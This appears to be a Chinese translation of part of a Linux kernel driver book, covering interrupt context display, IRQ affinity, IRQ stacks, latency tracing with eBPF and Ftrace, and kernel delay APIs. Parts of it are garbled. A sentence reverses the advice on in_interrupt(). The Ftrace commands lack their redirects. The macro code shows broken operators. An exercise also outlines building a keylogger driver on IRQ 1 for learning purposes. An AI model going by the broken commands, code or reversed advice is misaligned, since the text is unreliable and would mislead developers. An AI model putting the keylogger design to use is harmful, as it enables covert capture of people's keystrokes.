  • 列 3:如果我们处于中断上下文中,我们可以使用更多的宏来检查我们是否处于硬中断(顶半部)或软中断(底半部)上下文。它显示如下:

  • .:进程(任务)上下文

  • 中断/原子上下文:

  • h:硬中断正在运行

  • H:在软中断内发生了硬中断(也就是说,在软中断执行时发生了硬中断,打断了它)

  • s:Softirq(或 tasklet)上下文

  • 列 4:称为preempt_depth的整数值(来自位掩码)。基本上,每次获取锁时它都会增加,每次解锁时都会减少。因此,如果它是正数,那么意味着代码在关键或原子部分中。

以下是我们的convenient.h:PRINT_CTX()宏的代码实现(仔细研究代码,并在您的代码中使用该宏来理解它的用法)的一部分:

// convenient.h
[...]
#define PRINT_CTX() do {                                      \
  int PRINTCTX_SHOWHDR = 0;                                   \
  char intr = '.';                                            \
  if (!in_task()) {                                           \
      if (in_irq() && in_softirq())                           \
          intr = 'H'; /* hardirq occurred inside a softirq */ \
      else if (in_irq())                                      \
          intr = 'h'; /* hardirq is running */                \
      else if (in_softirq())                                  \
          intr = 's';                                         \
  }                                                           \
  else                                                        \
      intr = '.';                                             \

它基本上围绕if条件进行旋转,并通过in_task()宏检查代码是否处于进程(或任务)上下文中,从而处于中断(或原子)上下文中。

您可能已经在这样的情况下使用in_interrupt()宏。如果它返回true,则您的代码在中断上下文中,而如果返回false,则不在。然而,对于现代代码的建议是依赖于这个宏(和in_softirq()),因为底半部禁用可能会干扰其正确工作。因此,我们使用in_task()代替。

让我们继续查看PRINT_CTX()宏的代码:

[...]
if (PRINTCTX_SHOWHDR == 1) \
    pr_debug("CPU) task_name:PID | irqs,need-resched,hard/softirq,preempt-depth /* func_name() */\n"); \
pr_debug( \
    "%03d) %c%s%c:%d | " \
    "%c%c%c%u " \
    "/* %s() */\n" \
    , smp_processor_id(), \
    (!current-mm?'[':' '), current-comm, (!current-mm?']':' '), current-pid, \
    (irqs_disabled()?'d':'.'), \
    (need_resched()?'N':'.'), \
    intr, \
    (preempt_count() && 0xff), __func__); \
} while (0)

如果PRINTCTX_SHOWHDR变量设置为1,它会打印一个标题行;默认情况下为0。这是宏发出(调试级别的)printk(通过pr_debug())的地方,它以 Ftrace(延迟)格式显示上下文信息,就像前面的片段中看到的那样。

查看上下文 - 示例

例如,在我们的ch1/miscdrv_rdwr杂项驱动程序代码(实际上还有其他几个),我们使用了这个宏(PRINT_CTX())来显示上下文。以下是我们的简单rdwr_drv_secret应用程序从驱动程序中读取“秘密消息”时的一些示例输出(为了清晰起见,我删除了dmesg的时间戳):

CPU) task_name:PID | irqs,need-resched,hard/softirq,preempt-depth /* func_name() */
001)  rdwr_drv_secret :29141   |  .N.0   /* read_miscdrv_rdwr() */

标题行显示如何解释输出。(实际上,默认情况下这个标题行是关闭的。我暂时将PRINTCTX_SHOWHDR变量的值更改为1,以便在这里显示它。)

以下是另一个示例,来自一个(非内核)驱动程序,当运行(底半部)任务时的代码(我们在“理解和使用顶半部和底半部”部分中介绍了任务):

000)  gnome-terminal- :3075   |  .Ns1   /* mydrv_tasklet() */

让我们更详细地解释前面的输出;从左到右:

  • 000):任务在 CPU 核心0上运行。

  • 被中断的任务是 PID 为3075gnome-terminal*-*进程。实际上,它可能是在这个任务完成之前被触发的硬中断打断的,并且只有在任务完成后才会恢复执行,最好的情况下。

  • 我们可以从前面的四列输出(.Ns1部分)推断出以下内容:

  • .:所有中断(在本地核心,核心#0)都已启用。

  • NTIF_NEED_RESCHED位被设置(意味着调度器代码将在下一个调度“机会点”被触发时运行;意识到它很可能会被(在进程上下文中)gnome-terminal-线程运行)。

  • s:任务是一个中断 - 更确切地说,是一个软中断上下文(确切地说,是TASKLET_SOFTIRQ软中断);一个原子上下文;这是预期的 - 我们正在运行一个任务!

  • 1preempt_depth的值为1;这意味着当前正在持有(自旋)锁(再次,这意味着我们当前处于原子上下文中)。

  • 在任务上下文中运行的驱动程序函数被称为mydrv_tasklet()

通常,在中断上下文中查看这样的捕获时,被中断的任务会显示为swapper/n内核线程(其中n是 CPU 核心的编号)。这通常意味着swapper/n内核线程被硬中断打断,进一步意味着在该 CPU 处于空闲状态时触发了中断(因为swapper/n线程只在这时运行),这在轻负载系统上是一个相当常见的情况。

Linux 如何优先处理活动

现在您已经了解了跨全范围的许多领域,我们可以放大看看 Linux 内核如何优先处理事情。以下(概念性)图表 - 之前类似图表的超集 - 很好地总结了这一点:

图 4.13 - 用户、内核进程上下文和内核中断上下文之间的相对优先级

这个图表非常直观,所以请仔细研究它。

在这一长篇章节中,您已经了解了通过上半部和下半部机制处理中断的原因以及它们的组织和驱动程序的使用方式。您现在了解到所有的下半部机制都是通过 softirqs 进行内部实现的;tasklet 是您作为驱动程序作者可以轻松访问的主要下半部机制。当然,这并不意味着您必须使用它们-如果您可以仅使用上半部,甚至更好的是只使用一个线程处理程序,那就太好了。Hardirqs、tasklets 和线程处理程序-在何时使用部分详细介绍了这些考虑因素。

几个常见问题已经回答完毕!然而,还有一些杂项领域需要探讨。让我们通过熟悉的FAQ格式来看看!

回答了一些剩下的常见问题

以下是关于硬件中断及其处理方式的一些常见问题。我们还没有涉及这些领域:

  • 在多核系统上,所有硬件中断都路由到一个 CPU 吗?如果不是,它们如何进行负载平衡?我可以改变这个吗?

  • 内核是否维护一个单独的 IRQ 堆栈?

  • 我如何获得关于中断的指标?我能测量中断延迟吗?

这里的想法是提供简短的答案;我们鼓励您深入挖掘并自己尝试!重复一遍,记住,经验法则是最好的!

负载均衡中断和 IRQ 亲和性

首先,在多核(SMP)系统上,硬件中断路由到 CPU 核心的方式往往是与板和中断控制器特定的。话虽如此,Linux 上的通用 IRQ 层提供了一个非常有用的抽象:它允许(并实现)中断负载平衡,以便不会有 CPU(一组 CPU)过载。甚至还有前端实用程序irqbalance(1)irqbalance-ui(1),允许管理员(或 root 用户)执行 IRQ 平衡(irqbalance-uiirqbalancencurses前端)。

您可以更改已发送到处理器核心的中断吗?是的,通过/proc/irq/IRQ/smp_affinity伪文件!这是一个指定允许将此 IRQ 路由到的 CPU 的位掩码。问题是默认设置总是允许所有 CPU 核心处理中断。例如,在一个有八个核心的系统上,IRQ 线的smp_affinity值将是0xff(二进制为1111 1111)。为什么这是个问题?CPU 缓存。简而言之,如果多个核心处理相同的中断,缓存会被破坏,因此可能会发生许多缓存失效(以保持内存与 CPU 缓存的一致性),导致各种性能问题;这在具有数十个核心和多个 NIC 的高端系统上尤其如此。

我们在第七章中更多地涵盖了 CPU 缓存问题,内核同步-第二部分中的缓存效应和伪共享部分。

建议您将单个重要的 IRQ 线(例如以太网中断)与特定的 CPU 核心(或者至多与一个支持超线程的物理核心)关联起来。不仅如此,将相关的网络应用程序进程和线程关联到同一个核心可能会带来更好的性能(我们在配套指南Linux 内核编程-第十一章-CPU 调度器-第二部分理解、查询和设置 CPU 亲和性掩码部分中介绍了进程/线程 CPU 亲和性)。

让我们再讨论几个要点:

  • /proc/interrupts的输出将反映 IRQ 亲和性(和 IRQ 平衡),并允许您准确地看到系统上已经路由到哪个 CPU 核心的中断数量(我们在查看所有分配的中断(IRQ)线部分详细介绍了如何解释其输出)。

  • irqbalance服务实际上可能会导致问题,因为它会在启动时将 IRQ 亲和性设置恢复为默认值(unix.stackexchange.com/questions/68812/making-a-irq-smp-affinity-change-permanent);如果您仔细调整设置,可能需要禁用它(可能通过rc.local或等效的systemd脚本在启动时)。较新版本的irqbalance允许您禁止 IRQ 线并且不会(重新)设置它们。

内核是否维护单独的 IRQ 堆栈?

第六章Linux 内核编程伴随指南中,内核内部和基本要点-进程和线程,在组织进程、线程及其堆栈-用户和内核空间部分,我们涵盖了一些关键点:每个用户空间线程都有两个堆栈:一个用户空间堆栈和一个内核空间堆栈。当线程在非特权用户空间运行时,它使用用户模式堆栈,而当它切换到特权内核空间(通过系统调用或异常)时,它使用内核模式堆栈(参考Linux 内核编程伴随指南中的图 6.3)。接下来,内核模式堆栈非常有限且大小固定-它只有 2 或 4 页长(取决于您的架构是 32 位还是 64 位)!

因此,想象一下,您的驱动程序代码(比如说,ioctl()方法)正在一个深度嵌套的代码路径中运行。这意味着该进程上下文的内核模式堆栈已经装满了元数据-它正在调用的每个函数的堆栈帧。现在,硬件中断到达了!这也是必须运行的代码,因此需要一个堆栈。我们可以让它简单地使用已经在使用中的内核模式堆栈,这会大大增加堆栈溢出的机会(因为我们嵌套很深并且堆栈很小)。内核中的堆栈溢出是灾难性的,因为系统将会无法启动/死机,而没有真正的线索指出根本原因(好吧,CONFIG_VMAP_STACK内核配置是为了减轻这种情况而引入的,并且在 x86_64 上默认设置)。

长话短说,在几乎所有现代架构上,内核为硬件中断处理分配了每个 CPU 一个单独的内核空间堆栈。这被称为IRQ 堆栈。当硬件中断到达时,堆栈位置(通过适当的 CPU 堆栈指针寄存器)被切换到正在处理中断的 CPU 的 IRQ 堆栈上(并在中断退出时恢复)。一些架构(PPC)有一个名为CONFIG_IRQSTACKS的内核配置来启用 IRQ 堆栈。IRQ 堆栈的大小是固定的,其值取决于架构。在 x86_64 上,它有 4 页长(16 KB,典型的 4K 页面大小)。

测量指标和延迟

我们已经在Linux 内核编程伴随指南的第十一章CPU 调度器-第二部分延迟及其测量部分,讨论了延迟是什么以及如何测量调度延迟。在这里,我们将看一下系统延迟及其测量的更多方面。

正如您已经知道的,procfs是一个丰富的信息源;我们已经看到每个 CPU 核心生成的硬中断和软中断的数量可以通过/proc/interrupts/proc/softirqs(伪)文件查看。类似的信息也可以通过/proc/stat获得。

使用[e]BPF 测量中断

在配套指南Linux Kernel Programming - Chapter 1Kernel Workspace Setup,在Modern tracing and performance analysis with [e]BPF部分,我们指出了在(最新的 4.x)Linux 上进行跟踪、性能测量和分析的现代方法是[e]BPF,即增强型伯克利数据包过滤器(也称为 BPF)。在其库存的众多工具中(github.com/iovisor/bcc#tools),有两个适合我们的即时目的,即跟踪、测量和分析中断(硬中断和软中断)。 (在 Ubuntu 上,这些工具的名称为toolname-bpfcc,其中toolname是所讨论工具的名称,例如hardirqs-bpfccsoftirqs-bpfcc)。这些工具动态跟踪中断(在撰写本文时,它们尚未基于内核跟踪点)。您需要 root 访问权限来运行这些[e]BPF 工具。

重要提示:您可以通过阅读github.com/iovisor/bcc/raw/master/INSTALL.md的安装说明,在您的常规主机 Linux 发行版上安装 BCC 工具。为什么不在我们的 Linux 虚拟机上进行呢?当您运行发行版内核(例如 Ubuntu 或 Fedora 提供的内核)时,您可以这样做。您之所以可以这样做,是因为 BCC 工具集的安装包括(并依赖于)linux-headers-$(uname -r)软件包的安装;这个linux-headers软件包仅适用于发行版内核(而不适用于您可能在虚拟机上运行的自定义 5.4 内核)。

测量服务各个硬中断的时间

hardirqs[-bpfcc]工具显示了服务硬中断(硬件中断)的总时间。以下截图显示了我们运行hardirqs-bpfcc工具。在这里,您可以看到每秒服务硬中断的总时间(第一个参数)持续 3 秒(第二个参数):

图 4.14 - hardirqs-bpfcc 显示了每秒服务硬中断的时间,持续 3 秒

以下截图显示了我们使用相同的工具生成硬中断时间分布的直方图(通过-d开关):

图 14.15 - hardirqs-bpfcc -d 显示直方图

注意大多数网络硬中断(iwlwifi,48 个)只需要 4 到 7 微秒完成,尽管其中一些(三个)需要 16 到 31 微秒。

您可以在github.com/iovisor/bcc/raw/master/tools/hardirqs_example.txt找到更多使用hardirqs[-bpfcc]工具的示例。查阅其手册页也会有益处。

测量服务各个软中断的时间

与之前对硬中断的操作类似,我们现在将使用softirqs[-bpfcc]工具。它显示了服务软中断(软件中断)的总时间。同样,您需要 root 访问权限来运行这些[e]BPF 工具。

首先,让我们让我们的系统(运行 Ubuntu 的本机 x86_64)承受一些压力(在这里,它正在进行网络下载、网络上传和磁盘活动)。以下截图显示了我们运行softirqs-bpfcc工具,该工具提供了有关每秒服务软中断的总时间的信息(第一个参数)永久(没有第二个参数):

图 4.16 - softirqs-bpfcc 显示了在一些 I/O 压力下每秒服务软中断的时间

注意tasklet软中断也起作用。

让我们看另一个使用相同工具生成软中断时间分布的直方图的示例(再次使用系统在一些 I/O - 网络和磁盘 - 压力下,通过-d开关)。以下截图显示了运行sudo softirqs-bpfcc -d命令后得到的输出:

图 4.17 - softirqs-bpfcc -d 显示了一个直方图(在一些 I/O 压力下)

同样,在这个小样本集中,大多数NET_RX_SOFTIRQ实例只花费了 4 到 7 微秒,而大多数BLOCK_SOFTIRQ实例花费了 16 到 31 微秒来完成。

这些[e]BPF 工具也有手册页(包括示例)。我建议你在本地 Linux 系统上安装这些[e]BPF(参见伴随指南Linux 内核编程第一章内核工作空间设置使用[e]BPF 进行现代跟踪和性能分析部分)。看一看,尝试一下这些工具。

使用 Ftrace 来掌握系统延迟

Linux 内核本身内置了一个非常强大的跟踪引擎,称为Ftrace。就像你可以通过(非常有用的)strace(1)(以及ltrace(1))在用户空间跟踪系统调用和库 API 一样,你也可以通过 Ftrace 跟踪几乎在内核空间中运行的每个函数。不过,Ftrace 不仅仅是一个函数跟踪器 - 它是一个框架,是内核底层跟踪基础设施的关键。

Steven Rostedt 是 Ftrace 的原始作者。他的论文使用 Ftrace 找到延迟的起源非常值得一读。你可以在这里找到:static.lwn.net/images/conf/rtlws11/papers/proc/p02.pdf

在本节中,我们不打算深入介绍如何使用 Ftrace,因为这并不是本主题的一部分。学习使用 Ftrace 并不困难,而且是你内核调试工具中的一件宝贵武器!如果你对此不熟悉,请阅读本章末尾的进一步阅读部分中我们提供的有关 Ftrace 的链接。

延迟是某事应该发生和实际发生之间的延迟(理论和实践之间的玩笑差异)。操作系统中的系统延迟可能是性能问题的潜在原因。其中包括中断和调度延迟。但是这些延迟的实际原因是什么?借鉴史蒂夫·罗斯特德之前提到的论文,有四个事件导致这些延迟:

  • 中断禁用:如果中断关闭,中断在打开之前无法被服务(在这里,我们将专注于测量这个)。

  • 抢占禁用:如果是这种情况,被唤醒的线程在抢占被启用之前无法运行。

  • 调度延迟:线程被调度运行和实际在核心上运行之间的延迟(我们在伴随指南Linux 内核编程第十一章,CPU 调度器-第二部分延迟及其测量部分中介绍了如何测量这个延迟)。

  • 中断倒置:当中断优先于具有更高优先级的任务运行时发生的延迟(类似于优先级倒置,这可能发生在硬实时系统中;当然,正如你所学到的,这正是为什么线程处理程序至关重要)。

Ftrace 可以记录除最后一个之外的所有事件。在这里,我们将专注于学习如何利用 Ftrace 找到(或者说采样)硬件中断被禁用的最坏情况时间。这被称为irqsoff延迟跟踪。让我们开始吧!

使用 Ftrace 找到中断禁用的最坏情况时间延迟

Ftrace 有许多插件(或跟踪器)可以使用。首先,你需要确保内核中实际启用了irqsoff延迟跟踪器(或 Ftrace 的插件)。你可以通过两种不同的方式来检查:

  • 检查内核配置文件(在其中使用grep查找CONFIG_IRQSOFF_TRACER)。

  • 通过 Ftrace 基础设施检查可用的跟踪器(或插件)。

我们将选择后一种选项:

$ sudo cat /sys/kernel/debug/tracing/available_tracers
hwlat blk mmiotrace function_graph wakeup_dl wakeup_rt wakeup function nop

在前面的输出中,我们需要的irqsoff跟踪器缺失!这通常是情况,并意味着您需要配置内核(打开它)并(重新)构建您的自定义 5.4 内核。(这将作为本章末尾的问题部分的练习提供。)我们还建议您安装一个非常有用的 Ftrace 前端工具,称为trace-cmd(1)实用程序(我们在配套指南Linux 内核编程第一章“内核工作空间设置”中提到了这个实用程序,并在第十一章,CPU 调度器-第二部分使用 trace-cmd 进行可视化部分中使用了它)。

Lockdep 在这里可能会引起问题:如果启用了,最好在执行延迟跟踪时禁用内核的 lockdep 功能(它可能会增加太多开销)。我们将在第七章“内核同步-第二部分”中详细讨论 lockdep。

一旦启用了CONFIG_IRQSOFF_TRACER(并安装了trace-cmd),请按照以下步骤让 Ftrace 的延迟跟踪器找出最坏情况的中断关闭延迟。毋庸置疑,这些步骤必须以 root 身份执行:

  1. 获取 root shell(您需要 root 权限来执行此操作):
sudo /bin/bash
  1. 重置 Ftrace 框架(可以使用trace-cmd(1)前端来完成):
trace-cmd reset
  1. 切换到 ftrace 的目录:
cd /sys/kernel/debug/tracing

通常可以在这里找到。如果您在不同目录下挂载了debugfs伪文件系统,请转到那里(并进入其中的tracing目录)。

  1. 使用echo 0 tracing_on关闭所有跟踪(确保在0>符号之间留有空格)。

  2. irqsoff跟踪器设置为当前跟踪器:

echo irqsoff current_tracer
  1. 现在,打开跟踪:
echo 1 tracing_on
 ... it runs! ... 
  1. 以下输出显示了最坏情况的irqsoff 延迟(通常以微秒显示;不用担心,我们很快会展示一个示例运行):
cat tracing_max_latency
[...]
  1. 获取并阅读完整报告。所有 Ftrace 输出都保存在trace伪文件中:
cp trace /tmp/mytrc.txt
cat /tmp/mytrc.txt
  1. 重置 Ftrace 框架:
trace-cmd reset

我们获得的输出将如下所示:

# cat /tmp/mytrc.txt
# tracer: irqsoff
#
# irqsoff latency trace v1.1.5 on 5.4.0-llkd01
# --------------------------------------------------------------------
# latency: 234 us, #53/53, CPU#1 | (M:desktop VP:0, KP:0, SP:0 HP:0 #P:2)
#    -----------------
#    | task: sshd-25311 (uid:1000 nice:0 policy:0 rt_prio:0)
#    -----------------
# = started at: schedule
# = ended at: finish_task_switch
[...]

在这里,最坏情况的irqsoff延迟为 234 微秒(在执行sshd任务的 PID 25311 时经历),这意味着硬件中断在此期间关闭。为了方便起见,我提供了一个简单的 Bash 脚本包装器(ch4/irqsoff_latency_ftrc.sh),可以完成相同的工作。

现在,我们将提到一些其他有用的工具,您可以用来测量系统延迟。

其他工具

以下是一些有关捕获和分析系统延迟(以及更多内容)的工具值得一提:

  • 您可以学习如何设置和使用强大的Linux 跟踪工具-下一代(LTTng)工具集来记录系统运行时的跟踪。我强烈推荐使用出色的Trace Compass GUI 来进行分析。实际上,在配套指南Linux 内核编程-第一章“内核工作空间设置”中的Linux 跟踪工具下一代(LTTng)部分,我们展示了 Trace Compass GUI 用于显示和分析 IRQ 线 1 和 130 的有趣截图(分别是我的本机 x86_64 系统上 i8042 和 Wi-Fi 芯片的中断线)。

  • 您还可以尝试使用latencytop工具来确定用户空间线程阻塞的内核操作。要执行此操作,您需要在内核配置中打开CONFIG_LATENCYTOP

  • 除了延迟度量,您还可以使用dstat(1)mpstat(1)watch(1)等工具来获得类似“top”的中断视图(unix.stackexchange.com/questions/8699/is-there-a-utility-that-interprets-proc-interrupts-data-in-time)。

至此,我们已经完成了本节和本章。

总结

恭喜!这一章很长,但很值得。你将学到很多关于如何处理硬件中断的知识。我们首先简要地了解了操作系统如何处理中断,然后学习了作为驱动程序作者,你必须如何处理它们。为此,你学会了通过几种方法分配 IRQ 线(和释放它们)并实现硬件中断例程。在这里,讨论了几个限制和注意事项,基本上归结为这是一个原子活动。然后,我们讨论了“线程中断”模型的方法和原因;它通常被认为是处理中断的现代推荐方式。之后,我们了解并学习了如何处理硬中断/软中断和顶部/底部。最后,我们以典型的 FAQ 风格,介绍了关于负载均衡中断、IRQ 堆栈以及如何使用一些有用的框架和工具来测量中断指标和延迟的信息。

所有这些对于工程一个良好编写的必须与硬件中断一起工作的驱动程序来说都是必要的知识!

下一章涵盖了与时间相关的工作领域:内核空间内的延迟和超时,创建和管理内核线程,以及使用内核工作队列。我建议你努力完成本章的练习,浏览进一步阅读部分的众多资源,然后休息一下(嘿,只工作不玩耍,聪明的孩子也变傻!)再继续深入!到时见!

问题

  1. 在 x86 系统上(虚拟机也可以),显示定时器中断(IRQ 0)的数量保持不变,另一个周期性系统中断实际上是不断增加的(因此在每个 CPU 上跟踪时间)。

提示: 使用与中断相关的proc伪文件。

  1. keylogger_simple;仅限本机 x86 [仅用于道德黑客攻击;可能无法在虚拟机上运行]

(稍微高级一点)使用“misc”内核框架编写一个简单的键盘记录器驱动程序。将其陷入 i8042 的 IRQ 1 中,以便在键盘按下/释放时“捕获”它并读取键盘扫描码。使用kfifo数据结构将键盘扫描码保存在内核空间内存中。有一个用户模式进程(或线程)定期从驱动程序的kfifo中读取数据项到用户空间缓冲区,并将其写入日志文件。编写一个应用程序(或使用另一个线程)来解释键盘按键。

提示:

  1. 你能确保它只在 x86 上运行(正如它应该的那样)吗?可以;在你的代码开头使用#ifdef CONFIG_X86

  2. 你能确保它只在本机系统上运行,而不是在虚拟机中吗?是的,你可以在包装脚本中使用virt-what脚本来加载驱动程序;只有在不在虚拟机上时才执行insmod(或modprobe)。

  3. 编写驱动程序实际上是实现按键记录器的一种困难(而且相当不必要!)的方式(在这里,你只是为了学习而这样做,以便了解如何在设备驱动程序中处理硬件中断)。在更高级别的抽象层上工作实际上更简单更好 - 基本上是通过查询内核的events层来获取按键。你可以通过使用事件监视和捕获工具evtest(1)来实现这一点(以 root 身份运行;www.kernel.org/doc/html/latest/input/input_uapi.html)。

此任务的参考资料:

  1. 内核提供了通常称为 ______ 的“延迟功能”机制;它们被故意设计为兼顾最佳的两个方面:(i)__________ 和(ii)__________。

  2. 顶半部分;尽快运行 hardirq;然后立即恢复中断上下文。

  3. 底半部分;如果情况需要,允许驱动程序作者进行相当长时间的中断处理。在延迟的、安全的方式下进行,同时允许系统的业务继续进行。

  4. 更好的一半;在中断上下文中做更多的工作,这样你就不必以后付出代价。

  5. 底半部分;在禁用中断的情况下运行中断代码,并让其运行很长时间。

  6. 使用代码浏览工具(cscope(1)是一个不错的选择)来查找使用tasklet_hi_schedule()API 的驱动程序。

  7. 使用 Ftrace irqsoff延迟跟踪器插件来查找中断被关闭的最长时间。

提示:这将涉及使用irqsoff插件(CONFIG_IRQSOFF_TRACER);如果默认情况下没有打开,您将需要配置内核以包含它(以及其他所需的跟踪器;您可以在make menuconfig:Kernel Hacking / Tracers下找到它们)。然后,您必须构建内核并关闭它。

提示:在测量诸如系统延迟(关闭中断,关闭中断和抢占,调度延迟)等事物时,最好禁用lockdep

参考: 使用 Ftrace 查找延迟的起源,Steven Rostedt,RedHat:static.lwn.net/images/conf/rtlws11/papers/proc/p02.pdf

一些先前问题的解决方案可以在github.com/PacktPublishing/Linux-Kernel-Programming-Part-2/tree/main/solutions_to_assgn找到。

进一步阅读

第五章:使用内核定时器、线程和工作队列

如果你的设备驱动的低级规范要求在执行func_a()func_b()之间应该有 50 毫秒的延迟呢?此外,根据你的情况,当你在进程或中断上下文中运行时,延迟应该起作用。在驱动的另一部分,如果你需要异步定期执行某种监控功能(比如,每秒一次)怎么办?或者你需要在内核中静默执行工作的线程(或多个线程)?

这些都是各种软件中非常常见的要求,包括我们所在的领域- Linux 内核模块(和驱动)开发!在本章中,你将学习如何在内核空间中设置、理解和使用延迟,以及如何使用内核定时器、内核线程和工作队列。

在本章中,你将学习如何最优地执行这些任务。简而言之,我们将涵盖以下主题:

  • 在内核中延迟一段时间

  • 设置和使用内核定时器

  • 创建和使用内核线程

  • 使用内核工作队列

让我们开始吧!

技术要求

我假设你已经阅读了前言部分,以便充分利用本书,并已经准备好运行 Ubuntu 18.04 LTS(或更高版本的稳定发布版)的虚拟机,并安装了所有必需的软件包。如果没有,我强烈建议你首先这样做。为了充分利用本书,我强烈建议你首先设置好工作环境,包括克隆本书的 GitHub 代码库,并以实际操作的方式进行工作。代码库可以在这里找到:github.com/PacktPublishing/Linux-Kernel-Programming-Part-2

在内核中延迟一段时间

通常情况下,你的内核或驱动代码需要在继续执行下一条指令之前等待一段时间。在 Linux 内核空间中,可以通过一组延迟 API 来实现这一点。从一开始,需要理解的一个关键点是,你可以通过两种广泛的方式强制延迟:

  • 通过永远不会导致进程休眠的非阻塞或原子 API 进行延迟(换句话说,它永远不会调度出)

  • 通过导致当前进程上下文休眠的阻塞 API 进行延迟(换句话说,通过调度出)

(正如我们在《Linux 内核编程》的配套指南中详细介绍的那样,我们在 CPU 调度的章节中涵盖了这一点,《第十章- CPU 调度器-第一部分》和《第十一章- CPU 调度器-第二部分》),将进程上下文内部休眠意味着内核的核心schedule()函数在某个时刻被调用,最终导致上下文切换发生。这引出了一个非常重要的观点(我们之前提到过!):在任何原子或中断上下文中运行时,绝对不能调用schedule()

通常情况下,就像我们在插入延迟的情况下一样,你必须弄清楚你打算插入延迟的代码所在的上下文是什么。我们在配套指南《Linux 内核编程-第六章-内核内部要点-进程和线程》的“确定上下文”部分中涵盖了这一点;如果你不清楚,请参考一下。(我们在《第四章-处理硬件中断》中对此进行了更详细的讨论。)

接下来,请仔细考虑一下:如果你确实处于原子(或中断)上下文中,是否真的需要延迟?原子或中断上下文的整个目的是,其中的执行时间应尽可能短暂;强烈建议你以这种方式设计。这意味着除非你无法避免,否则不要在原子代码中插入延迟。

  • 使用第一种类型:这些是永远不会导致休眠发生的非阻塞或原子 API。当您的代码处于原子(或中断)上下文中,并且您确实需要一个短暂的非阻塞延迟时,您应该使用这些 API;但是多短呢?作为一个经验法则,对于 1 毫秒或更短的非阻塞原子延迟使用这些 API。即使您需要在原子上下文中延迟超过一毫秒 - 比如,在中断处理程序的代码中(但为什么要在中断中延迟!?) - 使用这些*delay()API(*字符表示通配符;在这里,您将看到它表示ndelay()delay()mdelay()例程)。

  • 使用第二种类型:这些是导致当前进程上下文休眠的阻塞 API。当您的代码处于进程(或任务)上下文中,需要阻塞性较长时间的延迟时,您应该使用这些;实际上,对于超过一毫秒的延迟。这些内核 API 遵循*sleep()的形式。(再次,不详细讨论,想想这个:如果您在进程上下文中,但在自旋锁的临界区内,那就是一个原子上下文 - 如果您必须加入延迟,那么您必须使用*delay()API!我们将在本书的最后两章中涵盖自旋锁等更多内容。)

现在,让我们来看看这些内核 API,看看它们是如何使用的。我们将首先看一下*delay()原子 API。

理解如何使用*delay()原子 API

话不多说,让我们来看一张表,快速总结一下可用的(对于我们模块作者来说)非阻塞或原子*delay()内核 API;它们旨在用于任何类型的原子或中断上下文,其中您不能阻塞或休眠(或调用schedule()):

API 注释
ndelay(ns); 延迟ns纳秒。
udelay(us); 延迟us微秒。
mdelay(ms); 延迟ms毫秒。

表 5.1 - *delay()非阻塞 API

关于这些 API、它们的内部实现和使用,有一些要注意的地方:

  • 在使用这些宏/API 时,始终包括<linux/delay.h>头文件。

  • 你应该根据你需要延迟的时间调用适当的例程;例如,如果你需要执行一个原子非阻塞延迟,比如 30 毫秒,你应该调用mdelay(30)而不是udelay(30*1000)。内核代码提到了这一点:linux/delay.h - "对于大于几毫秒的间隔使用 udelay()可能会在高 loops_per_jiffy(高 bogomips)的机器上出现溢出风险...".

  • 这些 API 的内部实现,就像 Linux 上的许多 API 一样,是微妙的:在<linux/delay.h>头文件中,这些函数(或宏)有一个更高级的抽象实现;在特定于体系结构的头文件中(<asm-<arch>/delay.h><asm-generic/delay.h>;其中arch当然是 CPU),通常会有一个特定于体系结构的低级实现,它会在调用时自动覆盖高级版本(链接器会确保这一点)。

  • 在当前的实现中,这些 API 最终都会转换为对udelay()的包装;这个函数本身会转换为一个紧凑的汇编循环,执行所谓的“忙循环”!(对于 x86,代码可以在arch/x86/lib/delay.c:__const_udelay()中找到)。不详细讨论,早期在引导过程中,内核会校准一些值:所谓的bogomips -虚假 MIPS - 和每个 jiffy 的循环lpj)值。基本上,内核会在那个特定系统上找出,为了使一个定时器滴答或一个 jiffy 经过多少次循环。这个值被称为系统的 bogomips 值,并且可以在内核日志中看到。例如,在我的 Core-i7 笔记本上,它是这样的:

Calibrating delay loop (skipped), value calculated using timer frequency.. 5199.98 BogoMIPS (lpj=10399968)
  • 对于超过MAX_UDELAY_MS(设置为 5 毫秒)的延迟,内核将在循环中内部调用udelay()函数。

请记住,*delay() APIs 必须在任何类型的原子上下文中使用,例如中断处理程序(顶部或底部),因为它们保证不会发生睡眠 - 因此也不会调用schedule()。提醒一下(我们在第四章中提到过这一点,处理硬件中断):might_sleep()用作调试辅助工具;内核(和驱动程序)在代码库中的某些地方内部使用might_sleep()宏,即代码在进程上下文中运行时;也就是说,它可以睡眠。现在,如果might_sleep()在原子上下文中被调用,那就是完全错误的 - 然后会发出一个嘈杂的printk堆栈跟踪,从而帮助您及早发现并修复这些问题。您也可以在进程上下文中使用这些*delay() APIs。

在这些讨论中,您经常会遇到jiffies内核变量;基本上,将jiffies视为一个全局的无符号 64 位值,它在每次定时器中断(或定时器滴答)时递增(它在内部受到溢出的保护)。因此,这个不断递增的变量被用作测量正常运行时间的一种方式,以及实现简单超时和延迟的手段。

现在,让我们看看可用的第二种类型的延迟 APIs - 阻塞类型。

了解如何使用sleep() 阻塞 APIs

让我们再看一个表,它快速总结了可用的(对我们模块作者来说)阻塞*sleep*()内核 APIs;这些只能在进程上下文中使用,当安全睡眠时;也就是说,在进程上下文实际上进入睡眠状态的延迟期间,然后在完成时唤醒:

API 内部“支持” 评论
usleep_range(umin, umax); hrtimers(高分辨率定时器) 睡眠介于uminumax微秒之间。在唤醒时间灵活的情况下使用。这是推荐的 API
msleep(ms); jiffies/legacy_timers 睡眠ms毫秒。通常用于持续时间为 10 毫秒或更长的睡眠。
msleep_interruptible(ms); jiffies/legacy_timers msleep(ms);的可中断变体。
ssleep(s); jiffies/legacy_timers 睡眠s秒。这是用于睡眠时间大于 1 秒的情况(对msleep()的封装)。

表 5.2 - sleep() 阻塞 APIs

关于这些 API、它们的内部实现和使用,有一些要注意的地方:

  • 在使用这些宏/ API 时,请确保包含<linux/delay.h>头文件。

  • 所有这些*sleep() API 都是以这样一种方式内部实现的,即它们会使当前进程上下文进入睡眠状态(也就是通过内部调用schedule());因此,当进程上下文“安全睡眠”时,它们必须只能被调用。再次强调,仅仅因为您的代码在进程上下文中,并不一定意味着它是安全的睡眠;例如,自旋锁的临界区是原子的;因此,在那里您不能调用上述的*sleep() API!

  • 我们提到usleep_range()首选/推荐的 API,当您需要短暂的睡眠时使用它 - 但是为什么?这将在让我们试试 - 延迟和睡眠实际需要多长时间?部分中变得更清晰。

